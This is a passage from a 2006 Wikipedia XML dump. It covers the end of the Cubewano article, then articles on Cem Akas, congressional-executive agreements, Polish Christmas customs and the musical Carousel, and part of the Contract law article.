Most classical Kuiper objects are found between the 2:3 [[orbital resonance]] with Neptune (populated by [[plutino]]s) and the 1:2 resonance. The diagram illustrates larger cubewanos with [[semi-major axis]] on X axis. The [[eccentricity]] of the orbits is represented by red segments (extending from [[perihelion]] to [[aphelion]]) with [[inclination]] represented on Y axis. 

The largest [[plutino]]s ([[Pluto]], [[90482 Orcus]] and [[28978 Ixion]]) are also plotted for comparison (in grey). [[50000 Quaoar]], for example, has a typical, near circular (short red segment), close to the [[ecliptic]] orbit. Plutinos on the other hand, have more eccentric orbits bringing some of them closer to the Sun than [[Neptune]] (marked as 1:1 resonance).

The majority of objects, so called '''cold''' population, have low inclination, near circular orbits. (the brightest: {{mp|1997 CS|29}}, {{mp|2001 QT|297}} and {{mp|2001 QS|322}} are shown on the diagram). A smaller population, named '''hot''', is characterised by highly inclined, more eccentric orbits&lt;ref&gt;D.Jewitt,A.Delsanti ''The Solar System Beyond The Planets'',to appear in the book ''Solar System Update'', Springer-Praxis Ed., Horwood, Blondel and Mason, 2006. [http://www.ifa.hawaii.edu/faculty/jewitt/papers/2006/DJ06.pdf Preprint version (pdf)]&lt;/ref&gt;.
=== Distribution ===
[[Image:TheKuiperBelt_55AU_ClassicalAndPlutinos.svg|right|thumb|400px|Distribution of cubewanos and [[plutino]]s.]]
The distribution of all known cubewanos (532 as of February, 2006) is plotted on the second diagram. The small inserts on the right show [[histogram]]s for orbit inclinations '''i''' (5° interval) and eccentricity '''e''' (interval 0.05).&lt;sup&gt;1&lt;/sup&gt; 
The vast majority of objects (more than &lt;sup&gt;2&lt;/sup&gt;/&lt;sub&gt;3&lt;/sub&gt;) have inclination &lt; 5° and eccentricity &lt;0.1. The distribution of semi-major axis '''a''', also shown, illustrates the preference for the middle of the main belt; arguably, smaller objects close to the limiting resonances have been either captured into resonance or have their orbits modified by Neptune.

The inserts on the left side of the diagram compare the populations of cubewanos and plutinos &lt;ref&gt;Minor Planet Circular 2005-X77 [http://cfa-www.harvard.edu/mpec/K05/K05X77.html Distant Minor planets] was used for plutinos' orbits classification. The updated data can be found in [http://cfa-www.harvard.edu/iau/mpec/K06/K06D28.html MPC 2006-D28].
&lt;/ref&gt; using eccentricity versus inclination plots. Each small square represents a given range for both the eccentricity '''e''' and the inclination '''i''' &lt;sup&gt;2&lt;/sup&gt;.  The relative population of objects within this range is represented with ‘cartographic’ colours (from small numbers plotted as green ''valleys'' to brown ''peaks''&lt;sup&gt;3&lt;/sup&gt;. 

The two populations are quite different: more than 30% of all cubewanos are on low inclination, near circular orbits (the low bottom corner ‘peak’). The parameters of plutinos’ orbits are more evenly distributed with a local maximum in moderate eccentricities in  0.15-0.2 range and low inclinations 5-10°. 
See also the comparison with [[scattered disk#Scattered objects versus classical objects|scattered disk objects]].

&lt;sup&gt;1&lt;/sup&gt;&lt;small&gt;Distribution of plutinos is plotted but excluded from cubewanos’ histograms.&lt;/small&gt; &lt;sup&gt;2&lt;/sup&gt;&lt;small&gt;As near-circular orbits occupy the first column (e&lt;0.05) and the orbits with the lowest inclination (i&lt;5 degrees) occupy the lowest row, the square in the bottom left corner represents the number of near circular, very lowly inclined orbits.&lt;/small&gt; &lt;sup&gt;3&lt;/sup&gt;&lt;small&gt;A grey square represents a  single object (an outlier) in this range.&lt;/small&gt;
&lt;br clear=all&gt;
=== Orbit plots ===
[[Image:TheKuiperBelt_Projections_55AU_Classical_Plutinos.svg|left|thumb|240px|The orbits of [[plutino]]s and classical objects.]]
The graph on the left represents polar and ecliptic views of the (aligned) orbits of the classical objects (in blue) together with the plutinos (in red)&lt;sup&gt;1&lt;/sup&gt;.

The solid blue ring, resulting from hundreds of overlapping orbits of the classical objects, fully deserves the name of the main (classical or cubewanos) '''belt'''. Unlike the classical objects with the orbits entirely outside, the plutinos approach, or even cross, the orbit of Neptune (in yellow).

On the ecliptic view, the yellow arc represents Neptune’s orbit (at ~30AU). The perihelia, typically inside Neptune’s orbit for the plutinos, and always safely outside for the cubewanos, are the distinctive attribute between the two families. Hot cubewanos can also be easily distinguished by their inclination, the plutinos typically keeping orbits below 20°. 

&lt;sup&gt;1&lt;sup&gt;&lt;small&gt;For roughly a half of known TNO the orbits are not yet known with the precision sufficient for the classification (a particularly delicate task for resonant objects).&lt;/small&gt;

&lt;br clear=all&gt;

== External links ==
*[[David Jewitt]]'s [http://www.ifa.hawaii.edu/faculty/jewitt/kb.html  Kuiper Belt site] @ [[University of Hawaii]]
*[http://www.boulder.swri.edu/ekonews/ The Kuiper Belt Electronic Newsletter]
*Minor Planet Center [http://cfa-www.harvard.edu/iau/lists/TNOs.html List of Trans-Neptunian objects]
*TNO pages at[http://www.johnstonsarchive.net/astro/tnos.html  johnstonarchive]
*Plot of the current positions of bodies in the [http://cfa-www.harvard.edu/iau/lists/OuterPlot.html Outer Solar System]

== References ==
&lt;references/&gt;
{{MinorPlanets Footer}}

[[Category:Trans-Neptunian objects]]

[[ca:Cubewano]]
[[cs:Kubewano]]
[[de:Cubewano]]
[[es:Cubewano]]
[[fr:Cubewano]]
[[it:Cubewano]]
[[ja:キュビワノ族]]
[[nl:Cubewano]]
[[sk:Kubewano]]
[[zh:類QB1天體]]</text>
    </revision>
  </page>
  <page>
    <title>Cem Akas</title>
    <id>7562</id>
    <revision>
      <id>38591966</id>
      <timestamp>2006-02-07T08:56:18Z</timestamp>
      <contributor>
        <ip>85.106.138.19</ip>
      </contributor>
      <text xml:space="preserve">'''Cem Akas''' (born 1[[968]]) is a [[Turkey|Turkish]] [[novelist]], who was born in [[Mannheim]], [[Germany]]. He was educated in [[Turkey]] and the [[United States]] in [[Political Science]] and [[Turkish History]]. He has worked for [[Yapi Kredi Publications]], [[Istanbul]], between [[1992]] and [[2004]]. In 2004 he left YKY and formed his own publishing group: [[g yayin grubu]].

==Bibliography==
'''Novels'''
*''7'', 1992
*''Suc ve Ceza'' (&quot;Crime and Punishment&quot;), 1992
*''Olgunluk Cagi Uclemesi'' (&quot;The Age of Maturity Trilogy&quot;), 2001
*''Kant Kulubu'', 2004

'''Collection of Short Stories'''
*''Noktanin Kesisimleri Antolojisi'' (&quot;The Anthology of the Intersections of the Dot&quot;), 1990
*''Gizli Hava Muzesi'' (&quot;Secret Air Museum&quot;), 1995
*''r'', 2002

'''Collection of Essays'''
*''Ise'' (&quot;If It Is&quot;), 1999
*''Ise, Ki Degil!'' (&quot;If It Is, But It's Not&quot;), 2001
*''Zibaldone 2'', 2005

'''Prose Poetry'''
*''Belkienisbatur'' (&quot;Perhaps Enis Batur&quot;), 1993

==External links==
* [http://www.cemakas.com Cem Akas] Official website
* [http://www.gyayingrubu.com g yayin grubu] Official g yayin grubu website

[[Category:1968 births|Akas, Cem]]
[[Category:Living people|Akas, Cem]]
[[Category:Turkish people|Akas, Cem]]
[[Category:Turkish writers|Akas, Cem]]</text>
    </revision>
  </page>
  <page>
    <title>Congressional-Executive Agreement</title>
    <id>7563</id>
    <revision>
      <id>15905625</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[congressional-executive agreement]]
</text>
    </revision>
  </page>
  <page>
    <title>Congressional-executive agreement</title>
    <id>7564</id>
    <revision>
      <id>37146631</id>
      <timestamp>2006-01-29T00:47:35Z</timestamp>
      <contributor>
        <username>Tetraminoe</username>
        <id>182015</id>
      </contributor>
      <comment>unreferenced: please [[Wikipedia:Citing sources|cite sources]] for this article</comment>
      <text xml:space="preserve">{{Unreferenced}}
A '''congressional-executive agreement''' is an agreement with a foreign power that has been approved by [[Congress of the United States|U.S. Congress]] and the [[United States]].  Unlike a [[treaty]], in the US constitutional sense of that term, it cannot cover matters normally outside the competence of the Federal government and does not require a two-thirds vote by the Senate, but rather is enacted as an ordinary law which requires majority votes by both the House and Senate followed by approval from the President. In contrast, a sole [[executive agreement]] is ratified by the [[President of the United States|President]] alone.

CEAs are often used to implement trade agreements such as the [[North American Free Trade Agreement]] and United States accession to the [[World Trade Organization]].  It is used for this purpose because the requirement for two-thirds support in the Senate would make it difficult to ratify and implement these agreements, and it avoids the necessity for going to Congress twice for approval for foreign issues.

Some constitutional scholars, such as [[Laurence Tribe]], have argued that CEA's are unconstitutional as they circumvent the treaty ratification scheme outlined in the [[United States Constitution]].  The United States courts have rejected this argument, ruling that such agreements are not treaties.

==See also==
* [[Executive agreement]]
* [[Treaty]]

[[Category:United States law]]</text>
    </revision>
  </page>
  <page>
    <title>Christmas customs in Poland</title>
    <id>7565</id>
    <revision>
      <id>39694496</id>
      <timestamp>2006-02-15T05:04:33Z</timestamp>
      <contributor>
        <username>Improv</username>
        <id>125204</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/165.139.114.1|165.139.114.1]] ([[User talk:165.139.114.1|talk]]) to last version by Jengod</comment>
      <text xml:space="preserve">Christmas is the most widely celebrated and the most important holiday season in [[Poland]], full of rituals and merriment.
Unlike other [[Christian]] countries, a greater emphasis is placed on [[Wigilia]] ([[Christmas Eve]]) than Christmas Day.

Preparations for Christmas start with the [[Advent]]. This is an especially important time for religious [[Roman Catholic Church|Catholics]]. The week before Christmas is very hectic, full of bustle and preparation for the impending celebrations. Every house or apartment needs extra cleaning and sometimes redecoration. 

One must buy Christmas presents, food for the Christmas meals
and a [[Christmas tree]] (usually a fir tree) that is lavishly decorated and placed in a prominent part of the living room.

The Polish Christmas season is an occasion for family reunions;
everyone endeavours to spend the evening with their family.
Traditionally, the Christmas Eve feast begins with the appearance of the first star in the sky. Everybody gathers together and wishes one another breaking with everyone a special wafer. After the wishes the feast starts. 

Tradition states that a Christmas dinner should comprise twelve meals. This might seem excessive but because it is a fasting day all are rather hungry. 

Meat is avoided; rather, fish, pasta, sauerkraut, mushrooms and beans are consumed.

Usually after the meals are finished it is time for Christmas gifts.

At midnight many people go to a special [[mass (liturgy)|Mass]] in Roman Catholic churches called [[Pasterka]] (Shepherd's Mass).

The first day of Christmas is just celebrating in the family circle.

The second day of Christmas is for visiting friends and relatives.

==See also==

*[[Wigilia]] the Christmas Eve vigil supper
*[[Christmas around the world]]

[[Category:Christmas traditions]]
[[Category:Polish traditions]]</text>
    </revision>
  </page>
  <page>
    <title>Carousel (musical)</title>
    <id>7566</id>
    <revision>
      <id>41796425</id>
      <timestamp>2006-03-01T20:34:34Z</timestamp>
      <contributor>
        <ip>12.17.30.3</ip>
      </contributor>
      <text xml:space="preserve">'''''Carousel''''' is a [[1945]] stage [[musical theater|musical]] by [[Richard Rodgers]] (music) and [[Oscar Hammerstein II]] (book and lyrics) that was adapted from [[Ferenc Molnar]]'s play ''Liliom''. The original production, which was directed by [[Rouben Mamoulian]], opened at [[Broadway theatre|Broadway]]'s [[Majestic Theatre]] on [[April 19]] [[1945]] and closed on [[May 24]] [[1947]] after playing 890 performances. The original cast included [[John Raitt]], [[Jan Clayton]], [[Jean Darling]], [[Eric Mattson]], [[Christine Johnson]], [[Murvyn Vye]], [[Bambi Linn]], and [[Russell Collins]].

{{spoiler}}

==Plot Synopsis==
===Act I===
Two young millworkers in freshly industrialized 1870s New England visit the town's carousel after work. One of them &amp;mdash; demure Julie Jordan &amp;mdash; shares a lingering glance and suggestive touch with the carousel's barker, Billy Bigelow. (song: &quot;Carousel Waltz&quot;)

Julie's friend Carrie Pipperidge presses her for information, but Julie is reticent about the encounter. (song: &quot;You're a Queer One, Julie Jordan&quot;) Eventually satisfied, Carrie confides that she has a beau of her own: local fisherman Enoch Snow (song: &quot;When I Marry Mister Snow&quot;).

A policeman appears and warns the women that Billy has taken money from other women. Carrie goes off, but Julie stays. She and Billy, now alone, can talk freely, but neither can quite confess the growing attraction they feel for each other. (song: &quot;If I Loved You&quot;)

Despite the incommunicative start, Julie and Billy are married shortly thereafter. When we next see them, Julie is confiding to Carrie that Billy, now unemployed, is unstable and occasionally violent. Carrie has news, too &amp;mdash; she and Mr. Snow are officially engaged (song: &quot;Mister Snow reprise&quot;) and looking forward to their idealized notion of married life (song: &quot;When The Children Are Asleep&quot;) As they and the town's other young folk prepare to attend a clambake, spitfire Carrie pokes fun at the local boys, cheered on by the local girls (song: &quot;Give It To 'Em Good, Carrie&quot;). Julie's cousin Nettie Fowler leads them all in a celebration of spring accompanied by an elaborate dance(song: &quot;June Is Bustin' Out All Over&quot;) before they leave for the clambake.

Meanwhile, Billy has fallen in with the unsavory sailor Jigger (song: &quot;Blow High, Blow Low&quot;), who tries to recruit him to help with a robbery. Billy is initially uninterested &amp;mdash; but then Julie tells him of her pregnancy. Overwhelmed by the news, and determined to provide for his future child, he decides to be Jigger's accomplice after all (song: &quot;Soliloquy&quot;).

===Act II===
After the clambake (song: &quot;A Real Nice Clambake&quot;), the townsfolk head back to town. Carrie's fiancé walks in on some innocent flirting between Carrie and Jigger, and declares, as Jigger jeers, that he is finished with her (song: &quot;Geraniums In The Window/Stonecutters Cut It On Stone&quot;). Julie, meanwhile, places her self-doubt aside and resolves to accept and love Billy as he is (song: &quot;What's The Use Of Wondrin'?&quot;).

Jigger and Billy play at cards, with the stakes being shares of the forecasted robbery spoils. Soon Billy has lost his entire stake in the robbery; the robbery is aborted; and Jigger escapes while Billy is caught. Billy falls on his knife and dies; Julie arrives too late to save him.

Nettie and the townsfolk comfort Julie (song: &quot;[[You'll Never Walk Alone (song)|You'll Never Walk Alone]]&quot;), and we follow Billy to heaven. There, a pair of blunt-spoken angels explain that he must attempt to solve the problems he left behind (song: &quot;The Highest Judge Of All&quot;). They send him back down to earth, fifteen years after his suicide.
whas up
His and Julie's daughter, Louise, is now an angry and rebellious teen (song: &quot;Ballet: Pas de Deux&quot;). He manages to give her a small gift, and finally confess his love to Julie (song: &quot;If I Loved You reprise&quot;). Having thus made amends, he is there for her high-school graduation (song: &quot;You'll Never Walk Alone reprise&quot;) and wins entry to Heaven.

==History==

Both [[Richard Rodgers]] and [[Oscar Hammerstein II]] said that ''Carousel'' was the favorite of their works together. They broke new ground in musical theater storytelling with their extended music/dialogue scenes, such as &quot;If I Loved You&quot; and, hauntingly, the &quot;Soliloquy&quot; (where Billy imagines his future child). The final anthem &quot;[[You'll Never Walk Alone (song)|You'll Never Walk Alone]]&quot; has taken on a life of its own; a graduation standard, it is also customarily sung by fans at English football matches, especially those of [[Liverpool F.C.]]

A [[1956]] movie version starred [[Shirley Jones]] and [[Gordon MacRae]]. This movie also had an appearance by a young [[Cheryl Holdridge]], who would later gain fame on the [[Mickey Mouse Club]].  The movie also had an appearance by [[Jacques d'Amboise]], a principal dancer with the [[New York City Ballet]], as the charismatic carousel barker in the [[ballet]].

==Musical Numbers==

:::ACT ONE
Prologue. An Amusement Park on the New England Coast
*&quot;The Carousel Waltz&quot;
Scene One. A Tree-lined Path Along the Shore
*&quot;You're a Queer One, Julie Jordan&quot;
*&quot;Mister Snow&quot;
*&quot;[[If I Loved You]]&quot;
Scene Two. Nettie Fowler's Spa on the Ocean Front
*&quot;June Is Bustin' Out All Over&quot;
*&quot;Mister Snow (reprise)&quot;
*&quot;When the Children Are Asleep&quot;
*&quot;Blow High, Blow Low&quot;
*&quot;Soliloquy&quot;
:::ACT TWO
*&quot;Entr'acte&quot;
Scene One. On an Island Across the Bay
*&quot;A Real Nice Clambake&quot;
*&quot;Geraniums in the Winder&quot;
*&quot;A Man Who Thinks He's Good&quot;
*&quot;[[What's the Use of Wond'rin'?]]&quot;
Scene Two. Mainland Waterfront
*&quot;[[You'll Never Walk Alone (song)|You'll Never Walk Alone]]&quot;
Scene Three. Up There in Heaven
*&quot;The Highest Judge of All&quot;
Scene Four. Down Here on a Beach
*&quot;Ballet: Billy Makes a Journey&quot;
Scene Five. Outside Julie's Cottage
*&quot;If I Loved You (reprise)&quot;
Scene Six. Outside the Schoolhouse
*&quot;Finale: You'll Never Walk Alone (reprise)&quot;
*&quot;Exit Music&quot;

== External links ==
{{wikiquotepar|Carousel}}
* {{imdb title|id=0049055|title=Carousel (1956)}}
* {{imdb title|id=0190291|title=Carousel (1967) (TV)}}

[[ja:&amp;#22238;&amp;#36578;&amp;#26408;&amp;#39340; (&amp;#12511;&amp;#12517;&amp;#12540;&amp;#12472;&amp;#12459;&amp;#12523;)]]</text>
    </revision>
  </page>
  <page>
    <title>Contract</title>
    <id>7567</id>
    <revision>
      <id>41007472</id>
      <timestamp>2006-02-24T13:00:11Z</timestamp>
      <contributor>
        <username>Enochlau</username>
        <id>36424</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.197.217.86|68.197.217.86]] ([[User talk:68.197.217.86|talk]]) to last version by AndyJones</comment>
      <text xml:space="preserve">{{ContractLaw}}
A '''contract''' is a &quot;promise&quot; or an &quot;agreement&quot; that is enforced or recognised by the law. In the [[Civil law (legal system)|civil law]], contracts are considered to be part of the general [[law of obligations]].  This article describes the law relating to contracts in [[common law]] jurisdictions.

== Comparison of contract and tort law ==
[[Law of obligations|The law of obligations]] has traditionally been divided into contractual obligations, which are ''voluntarily undertaken'' and ''owed to a specific person or persons'', and obligations in [[tort]] ''which are based on the wrongful infliction of harm to certain protected interests'', primarily imposed by the law, and typically owed to a wider class of persons. 
Recently it has been accepted that there is a third category, restitutionary obligations, based on the [[unjust enrichment]] of the defendant at the plaintiff’s expense. Contractual liability, reflecting the constitutive function of contract, is generally for failing to make things better (by not rendering the expected performance), liability in tort is generally for action (as opposed to omission) making things worse, and liability in restitution is for unjustly taking or retaining the benefit of the plaintiff’s money or work [Beatson (1998)'' Anson’s Law of Contract'', 27th ed. (Oxford: OUP), pg. 21].

==Scope of common law contract law==
Basic [[common law]] contract law addresses four sets of issues:

#When and how is a contract formed?
#When may a party escape [[obligation]]s of a contract (such as a contract formed under [[duress]] or because of a misrepresentation)?
#What is the meaning and effect to be given to the terms of a contract?
#What is the remedy to be given for breach of a contract?    

'''Contract formation''':  There must be an agreement which consists of an [[offer and acceptance]], [[consideration]] (see also [[consideration under English law]]) and contractual intention for a simple contract to exist: i.e. it is not a deed - otherwise no consideration is needed.

Subject to the ''sine qua non'' of Contract Formation, other ingredients that make up a contract include:

:* Form     - In some cases, certain formalities (that is, writing) must be observed.
:* [[Capacity (law)|Capacity]] - The parties must be legally capable of entering into a contract.
:*Consent   - The agreement must have been entered into freely.  Consent may be vitiated by duress or undue influence.
:* Legality - The purpose of the agreement must not be illegal or contrary to [[public policy]].

A contract which possesses all of the above ingredients is said to be valid.  The absence of an essential element will render the contract either void, voidable or unenforceable

In some situations, a [[collateral contract]] may exist.

'''Meaning and effect of contract terms''':  Many contract disputes involve a disagreement between the parties about what terms in the contract require each party to do or refrain from doing.  Hence, many rules of contract law pertain to interpretation of terms of a contract that are vague or ambiguous. The [[parol evidence rule]] limits what things can be taken into account when trying to interpret a contract.

'''[[Privity]]:''' In general, only parties to a contract may sue for the breach of a contract.

==Validity of contracts==
For a contract to be [[valid]], it must meet the following criteria:

* '''Mutual agreement''' - (see main article [[offer and acceptance]]): There must be an express or implied agreement. The essential requirement is that there be evidence that the parties had each from an objective perspective engaged in conduct manifesting their assent, and a contract will be formed when the parties have met such a requirement. (Notice that the objective manifestation requirement means that one need not actually have assented so long as a reasonable person would believe that assent had been granted.) For a contract based on offer and acceptance to be enforced, the terms must be capable of determination in a way that it is clear that the parties assent was given to the same terms.  The terms, like the manifestation of assent itself, are determined objectively.

*'''Consideration''': There must be [[consideration]] (see also [[consideration under English law]]) given by all the parties, meaning that every party is conferring a benefit on the other party or himself sustaining a recognizable detriment, such as a reduction of the party's alternative courses of action where the party would otherwise be free to act with respect to the subject matter without any limitation. Consideration need not be adequate, e.g. agreeing to buy a car for a penny may constitute a binding contract. (q.v. Chappell &amp; Co Ltd v Nestle Co Ltd [1959] 2 All ER 701. (UK common law))

*'''Competent, Adult ([[Sui Juris]]) Parties''': Both parties must have the [[capacity (law)|capacity]] to understand the terms of the contract they are entering into, and the consequences of the promises they make. For example, animals, minor children, and mentally disabled individuals do not have the capacity to form a contract, and any contracts with them will be considered [[Void contract|void]] or [[Voidable contract|voidable]]. Although [[corporation|corporations]] are technically [[legal fiction|legal fictions]], they are considered [[person|persons]] under the law, and thus fit to engage in contracts. 

:For adults, most jurisdictions have statutes declaring that the capacity of parties to a contract is presumed, so that one resisting enforcement of a contract on grounds that a party lacked the capacity to be bound bears the burden of persuasion on the issue of capacity.

*'''Proper Subject Matter''': The contract must have a [[lawful purpose]]. A contract to commit murder in exchange for money will not be enforced by the courts. It is void ''[[ab initio]]'', meaning &quot;from the beginning.&quot;

*'''Mutual Right to Remedy''': Both parties must have an equal right to remedy upon breach of the terms by the other party

*'''Mutual Obligation to Perform''': Both parties must have some obligation to fulfill to the other. This can be distinct from '''consideration''', which may be an initial inducement into the contract.

==Written contracts==
Contrary to common wisdom, an informal exchange of promises can still be binding and legally as valid as a written contract. A spoken contract is often called an &quot;[[oral contract]]&quot;, not a &quot;verbal contract.&quot; Any contract that uses words, spoken or written, is a verbal contract. Thus, all oral contracts and written contracts are verbal contracts. This is in contrast to a &quot;non-verbal, non-oral contract,&quot; also known as &quot;a contract implied by the acts of the parties.&quot;  

[[Courts]] in the [[United States]] have generally ruled that if the parties have a meeting of the minds (i.e., the same intent), consideration is paid or given by the parties, and they act as though there was a formal, written and signed contract, then a contract exists. However, most jurisdictions require a signed writing for certain kinds of contracts (like real estate transactions). 

In the United States, a law setting out such requirements is typically called the [[Statute of Frauds]]; the name originates from an English statute that was for &quot;the prevention of frauds.&quot;  The point of the ''Statute of Frauds'' is to prevent false allegations of the existence of contracts that were never made, by requiring formal (i.e. written) evidence of the contract. Contracts that do not meet the requirements of Statute of Frauds legislation are unenforceable, but not void. However, a party unjustly enriched by an unenforceable contract may be subject to [[restitution]] for [[unjust enrichment]].  Statutes of Frauds are typically codified in state statutes covering specific types of contracts, such as contracts for the sale of real estate.

In [[Australia]], for contracts subject to legislation equivalent to the Statute of Frauds, there is no requirement for the entire contract to be in writing, although there must be a note or memorandum evidencing the contract, which may come into existence after the contract has been formed. The note or memorandum must be signed in some way, and a series of documents may be used in place of a single note or memorandum. It must contain all material terms of the contract, the subject matter and the parties to the contract.

In [[England and Wales]], the [[Statute of Frauds]] is still in force, but only for guarantees, which must be evidenced in writing, although the agreement may be made orally. Certain other kinds of contract (such as for the sale of land) must be in writing or they are void.

Furthermore, the existence of a written contract does not necessarily ensure its enforceability or validity. A contract can be deemed unenforceable if it requires a party to undertake an illegal act, if it was signed under [[duress]] or while intoxicated, if the disparity in knowledge between the parties is extreme and the weaker party was given onerous terms, etc.  For example, a contract to sell heroin or engage in prostitution is unenforceable on the grounds that it is against public policy.

If the terms of a contract subject to Statute of Frauds legislation are to be varied, the variations must be noted in writing as well. However, the contract may be discharged orally.

If a contract is in a written form, then generally, you are bound by its terms regardless of whether you have read it or not (''L'Estrange v. F Graucob Ltd'' [1934] 2 KB 394). However, this is tempered by the exception that if the terms of the contract are misrepresented, then the plaintiff is unable to rely on the terms of the contract; in addition, the document must be contractual in nature (''Curtis v. Chemical Cleaning and Dyeing Co'' [1951] 1 KB 805).

Furthermore, if a party wishes to use a document as the basis of a contract, reasonable notice of its terms must be given to the other party prior to their entry into the contract (see ''Balmain New Ferry Company Ltd v. Robertson'' (1906) 4 CLR 379). This includes such things as [[Ticket cases|tickets]] issued at parking stations.

==Void, voidable and unenforceable contracts==
In general, there are three classifications of contracts that are not binding:
* '''Void:''' If a contract is held to be void, the contract has never come into existence. For example, a contract is ''void'' if it is based on an illegal purpose or contrary to [[public policy]]; the classic example is a contract with a [[hit man]].  Such a contract will not be recognized by a court, and cannot be enforced by either party.
* '''Voidable:''' A contract is ''voidable'' if one of the parties has the option to terminate the contract. Contracts with a [[minor (law)|minor]] are examples of voidable contracts. 
* '''Unenforceable:''' If a contract is unenforceable, neither party may enforce the other's obligations. For example, in the United States, a contract is unenforceable if it violates the [[Statute of frauds]]. An  example of the above is an oral contract for the sale of a motorcycle for [[US dollar|US$]]5,000 (because in the [[USA]] any contract for the sale of goods over US$500 must be in writing to be enforceable).

===Uncertainty and incompleteness===
If the terms of the contract are uncertain or incomplete, the parties cannot have reached an agreement in the eyes of the law. An agreement to agree does not constitute a contract, and an inability to agree on key issues, which may include such things as price or safety, may cause the entire contract to fail.

However, a court will attempt to give effect to commercial contracts where possible, by construing a reasonable construction of the contract (see ''[[Hillas v. Arcos Ltd]]'' (1932) 147 LT 503).

Courts may also look to external standards, which are either mentioned explicitly in the contract (''Whitlock v. Brew'' (1968) 118 CLR 445) or implied by common practice in a certain field (''Three Rivers Trading Co., Ltd. v. Gwinear &amp; District Farmers, Ltd.'' (1967), 111 Sol. J. 831). In addition, the court may also imply a term; if price is excluded, the court may imply a reasonable price, with the exception of land, and second-hand goods, which are unique.

===Severence of unenforceable clauses===
If there are uncertain or incomplete clauses in the contract, and all options in resolving its true meaning have failed, it may be possible to sever and void just those affected clauses. The test of whether a clause is severable is an objective test - whether a reasonable person would see the contract standing even without the clauses. 

===Spy contracts===
In the U.S., one unusual type of unenforceable contract is a personal [[employment]] contract to work as a [[spy]] or [[secret agent]].  This is because the very secrecy of the contract is a condition of the contract (in order to maintain [[plausible deniability]]).  If the spy subsequently sues the government on the contract over issues like salary or benefits, then the spy has breached the contract by revealing its existence.  It is thus unenforceable on that ground, as well as the public policy of maintaining [[national security]] (since a disgruntled agent might try to reveal ''all'' the government's secrets during his lawsuit).

==Bilateral v. unilateral contracts==
Contracts may be bilateral or unilateral.  The more common of the two, a bilateral contract, is an agreement in which each of the parties to the contract makes a promise or promises to the other party.  For example, in a contract for the sale of a home, the buyer promises to pay the seller $200,000 in exchange for the seller's promise to deliver title to the property.  

In a unilateral contract, only one party to the contract makes a promise.  A typical example is the reward contract: A promises to pay a reward to B if B finds A's dog.  B is not obliged to find A's dog, but A is obliged to pay the reward to B if B finds the dog.  In this example, the finding of the dog is a [[condition precedent]] to A's obligation to pay.  

An offer of a unilateral contract may often be made to many people (or 'to the world') by means of an advertisement.  In that situation, acceptance will only occur on satisfaction of the condition (such as the finding of the offeror's dog).  If the condition is something that only one party can perform, both the offeror and offeree are protected &amp;mdash; the offeror is protected because he will only ever be contractually obliged to one of the many offerees; and the offeree is protected, because if she does perform the condition, the offeror will be contractually obliged to pay her.  

In unilateral contracts, the requirement that acceptance be communicated to the offeror is waived.  The offeree accepts by performing the condition, and the offeree's performance is also treated as the price, or [[consideration]], for the offeror's promise.

The most common type of unilateral contract is the insurance contract.  The insurance company promises to pay the insured a stated amount of money on the happening of an event if the insured pays premiums; note that the insured does not make any promise to pay the premiums.

Courts generally favor bilateral contracts. The general rule in the United States is: &quot;In case of doubt, an offer is interpreted as inviting the offeree to accept ''either'' by promising to perform what the offer requests ''or'' by rendering the performance, as the offeree chooses.&quot; ''Restatement (Second) of Contracts'' § 32 (1981) (emphasis added). Here the law attempts to provide some protection from the risk of revocation in a unilateral contract to the offeree. Note that if the offer specifically requests performance rather than a promise, a unilateral contract will exist. See [[option contract]]s for more information on protection given to the offeree in a unilateral contract.

==Express and implied contracts==
A contract can be either an express contract or an implied contract. An express contract is one in which the terms are expressed verbally, either orally or in writing. An implied contract is one in which some of the terms are not expressed in words.

===Implied in fact or implied in law===
An implied contract can either be [[implied in fact contract|implied in fact]] or [[implied in law contract|implied in law]]. A contract which is implied in fact is one in which the circumstances imply that parties have reached an agreement even though they have not done so expressly.  For example, by going to a doctor for a physical, a patient agrees that he will pay a fair price for the service. If he refuses to pay after being examined, he has breached a contract implied in fact.

===Quasi-contract===
A contract which is implied in law is also called a [[quasi-contract]], because it is not in fact a contract; rather, it is a means for the courts to remedy situations in which one party would be unjustly enriched were he or she not required to compensate the other.  For example, an unconscious patient treated by a doctor at the scene of an accident has not agreed (either expressly or by implication) to pay the doctor for emergency services, but the patient would be unjustly enriched by the doctor's services were the patient not required to compensate the doctor.

==Incorporation of terms==
===Course of dealing===
If two parties have regularly conducted business on certain terms, it may be reasonable to presume that in future dealings where there is no contract, the parties wish to incorporate the terms of the previous contracts. However, if a party wishes to incorporate terms by course of dealing, the original document must have been contractual in nature, and delivery receipts may not fit this description. In Australia, there is a further requirement that the document was procured after formation.

==Express and implied terms==
===Different types of statements===
Whether a statement is a term of a contract is important because only if a promise is a term of the contract can a party sue for the breach of the contract. Statements can be split into the following types:
* '''Puff (sales talk):''' If no reasonable person hearing this statement would take it seriously, it is a puff, and no action in contract is available if the statement proves to be wrong.
* '''Representation:''' A representation is a statement of fact made to induce another person to enter into a contract and which does induce them to enter into a contract, but it is one that the maker of the statement does not guarantee its truth. If the statement proves to be incorrect, it cannot be enforced, as it is not a term of the contract, but it may prove to be a [[misrepresentation]], whereupon other remedies are available.
* '''Term:''' A term is similar to a representation, but the truth of the statement is guaranteed by the person who made the statement. The test is an objective test.

Factors that a court may take into account in determining the nature of a statement include:
* '''Timing:''' If the contract was concluded soon after the statement was made, this is a strong indication that the statement induced the person to enter into the contract.
* '''Content of statement:''' It is necessary to consider what was said in the given context, which has nothing to do with the importance of a statement.
* '''Knowledge and expertise:''' In ''Oscar Chess Ltd v. Williams'' [1957] 1 WLR 370, a person selling a car to a second-hand car dealer stated that it was a 1948 Morris, when in fact it was a 1939 model car. It was held that the statement did not become a term because a reasonable person in the position of the car dealer would not have thought that an inexperienced person would have guaranteed the truth of the statement.

===Terms implied in fact===
The Privy Council proposed a five stage test in ''BP Refinery Western Port v. Shire of Hastings'':
# '''Reasonableness and equitableness:''' The implied term must be reasonable and equitable.
# '''Business efficacy:''' The implied term must be necessary for the business efficacy of the contract. For instance, if the term simply causes the contract to operate better, that does not fit this criterion.
